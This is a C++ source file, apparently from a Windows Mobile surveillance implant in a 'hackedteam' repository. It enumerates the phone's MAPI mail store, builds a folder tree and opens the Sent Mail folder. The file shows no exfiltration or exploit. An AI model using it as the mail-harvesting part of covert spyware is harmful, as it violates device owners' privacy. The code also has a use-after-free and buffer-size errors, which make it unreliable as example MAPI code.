hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/MAPIStorage.cpp

Summary

Maintainability
Test Coverage
#pragma warning(push, 3)
#include <windows.h>
#pragma warning(pop)

#include <new>

#include "MAPICommon.h"
#include "MAPIStorage.h"
#include "MAPIFolder.h"
#include "tree.hh"


MAPIStorage::MAPIStorage(LPWSTR name , IMsgStore * store)
: _store(store), _enumeratedFolders(false)
{
  size_t len = _tcslen(name) + 1;
  _name = new(std::nothrow) WCHAR[len];
  if (_name != NULL) {
    memset(_name, 0, len * sizeof(WCHAR));
    wcscpy_s(_name, len, name);
  }
}

MAPIStorage::~MAPIStorage(void)
{
    if (_store)
    _store->Release();
  
  tree<MAPIFolder*>::post_order_iterator iter;
  for (iter = folders.begin_post(); iter != folders.end(); iter++)
  {
    MAPIFolder *folder = *iter;
    delete folder;
    folders.erase(iter);
  }
  
  delete[] _name;
}

tree<MAPIFolder*>::iterator MAPIStorage::_GetRootFolder(void)
{
    HRESULT hr;
  IMAPIFolder* pRootFolder;
  
    static const SizedSPropTagArray(2, rgStoreTags) = {2, {PR_IPM_SUBTREE_ENTRYID, PR_OBJECT_TYPE}};
    
    ULONG ulStoreValues = 0, ulTypeOpenedObj = 0;
    LPSPropValue lpStoreProp = NULL;
    
    hr = _store->GetProps(    (LPSPropTagArray) &rgStoreTags,
                                    MAPI_UNICODE,
                                    &ulStoreValues,
                                    &lpStoreProp);
  if (FAILED(hr)) {
    return folders.end();
  }
    
    // Get Root Folder
    hr = _store->OpenEntry(    lpStoreProp[0].Value.bin.cb,
                            (LPENTRYID) lpStoreProp->Value.bin.lpb,
                            NULL,
                            MAPI_ACCESS_READ,    //MAPI_BEST_ACCESS,
                            &ulTypeOpenedObj,
                            (LPUNKNOWN*) &pRootFolder);
  if (FAILED(hr)) {
    return folders.end();
  }
    
    MAPIFreeBuffer(lpStoreProp);
  
  tree<MAPIFolder*>::iterator top, root;
  top = folders.begin();
  MAPIFolder* root_folder = new MAPIFolder(L"ROOT", pRootFolder);
  root_folder->setEntryID((LPENTRYID)lpStoreProp->Value.bin.lpb, lpStoreProp[0].Value.bin.cb);
  root = folders.insert(top, root_folder);
    
  return root;
}

LPWSTR MAPIStorage::name( void )
{
  return this->_name;
}

HRESULT MAPIStorage::_EnumerateSubFolders( tree<MAPIFolder*>::iterator head )
{
  HRESULT hr;
  IMAPITable * pFoldersTable = NULL;
  
  IMAPIFolder * pRootFolder = (*head)->ptrToIMAPIFolder();

  hr = pRootFolder->GetHierarchyTable(0, &pFoldersTable);
  if (hr == MAPI_E_NO_SUPPORT) 
  {
    // no child containers
    return S_OK;
  }
  
  SizedSPropTagArray(2, tblColumns) = {2, {PR_DISPLAY_NAME, PR_ENTRYID}};    
  hr = pFoldersTable->SetColumns((LPSPropTagArray)& tblColumns, 0);

  LOOP
  {
    SRowSet *pFolderRowSet = NULL;

    hr = pFoldersTable->QueryRows(1, 0, &pFolderRowSet);

    if(pFolderRowSet->cRows != 1)
    {
      FreeProws(pFolderRowSet);
      break;
    }
    
    IMAPIFolder * pChildFolder = NULL;
    
    ULONG uTypeOfOpenedObject = 0;
    hr = pRootFolder->OpenEntry(pFolderRowSet->aRow[0].lpProps[1].Value.bin.cb,
      (LPENTRYID)pFolderRowSet->aRow[0].lpProps[1].Value.bin.lpb,
      NULL,
      0,
      &uTypeOfOpenedObject,
      (LPUNKNOWN*) &pChildFolder
      );

    if (uTypeOfOpenedObject == MAPI_FOLDER)
    {
      tree<MAPIFolder*>::iterator child;

      LPWSTR lpwFolderName = pFolderRowSet->aRow[0].lpProps[0].Value.lpszW;
      ASSERT(lpwFolderName);

      MAPIFolder* folder = new MAPIFolder(lpwFolderName, pChildFolder);
      folder->setEntryID((LPENTRYID)pFolderRowSet->aRow[0].lpProps[1].Value.bin.lpb, 
          pFolderRowSet->aRow[0].lpProps[1].Value.bin.cb);
      child = folders.append_child(head, folder);
      _EnumerateSubFolders(child);
    } else {
      if (pChildFolder)
        pChildFolder->Release();
    }
    
    FreeProws(pFolderRowSet);
    Sleep(10);

  } /* while */

  if (pFoldersTable)
    pFoldersTable->Release();

  return S_OK;
}

HRESULT MAPIStorage::BuildFoldersTree( void )
{
  GetSentMailFolder();

  tree<MAPIFolder*>::iterator root = _GetRootFolder();

  // if no valid root folder is available, fail
  if (root == folders.end())
    return E_FAIL;
  
  _EnumerateSubFolders(root);
  
  return S_OK;
}

LPWSTR MAPIStorage::FolderPath( tree<MAPIFolder*>::iterator folder_iter )
{
  std::list<LPWSTR> DirectoryNames;
  
  tree<MAPIFolder*>::iterator parent_iter = folder_iter;
  while ((parent_iter = folders.parent(parent_iter)) != folders.end()) {
    DirectoryNames.push_front((*parent_iter)->name());
  }
  
  ULONG PathLength = 1;
  for (std::list<LPWSTR>::iterator i = DirectoryNames.begin(); i != DirectoryNames.end(); i++)
  {
    PathLength += wcslen(*i) * sizeof(WCHAR);
    PathLength += 1;
  }
  
  LPWSTR Path = (LPWSTR) LocalAlloc(LPTR, PathLength);
  if (Path == NULL)
    return NULL;
  
  while (!DirectoryNames.empty())
  {
    std::list<LPWSTR>::iterator i = DirectoryNames.begin();
    WCHAR lpwLocalPath[256] = {0};
    wsprintf(lpwLocalPath, _T("\\%s"), *i);
    StringCchCat(Path, PathLength, lpwLocalPath);
    DirectoryNames.pop_front();
  }
  
  DirectoryNames.clear();
  
  return Path;
}

HRESULT MAPIStorage::GetSentMailFolder()
{
    LPSPropValue rgprops = NULL;
    ULONG cValues = 0;
    
    SizedSPropTagArray(1, rgFolderTags) = {1, { PR_IPM_SENTMAIL_ENTRYID } };
    
    HRESULT hr = _store->GetProps((LPSPropTagArray)&rgFolderTags, MAPI_UNICODE, &cValues, &rgprops);
    if(FAILED(hr))
        return E_FAIL;
    
    for (ULONG i = 0; i < 1; i++)
    {
        ULONG cbEntryID = rgprops[i].Value.bin.cb;
        LPENTRYID lpEntryID = (LPENTRYID)rgprops[i].Value.bin.lpb;
        
        _incomingFolder.cbSize = cbEntryID;
        _incomingFolder.lpEntryID = new BYTE[_incomingFolder.cbSize];
        memcpy(_incomingFolder.lpEntryID, (LPBYTE)lpEntryID, _incomingFolder.cbSize);
        
        IMAPIFolder* pFolder = NULL;
        hr = _store->OpenEntry(
            _incomingFolder.cbSize,
            (LPENTRYID)_incomingFolder.lpEntryID,
            NULL, 
            MAPI_MODIFY,
            NULL, 
            (LPUNKNOWN*)&pFolder);
        if (!pFolder)
            return E_FAIL;
        
        SizedSPropTagArray(1, ptaFolder) = {1, {PR_DISPLAY_NAME}};
        LPSPropValue rgFolderProps = NULL;
        pFolder->GetProps((LPSPropTagArray)&ptaFolder, MAPI_UNICODE, &cValues, &rgFolderProps);
        LPWSTR lpFolderName = rgFolderProps[0].Value.lpszW;
    }

    return S_OK;
}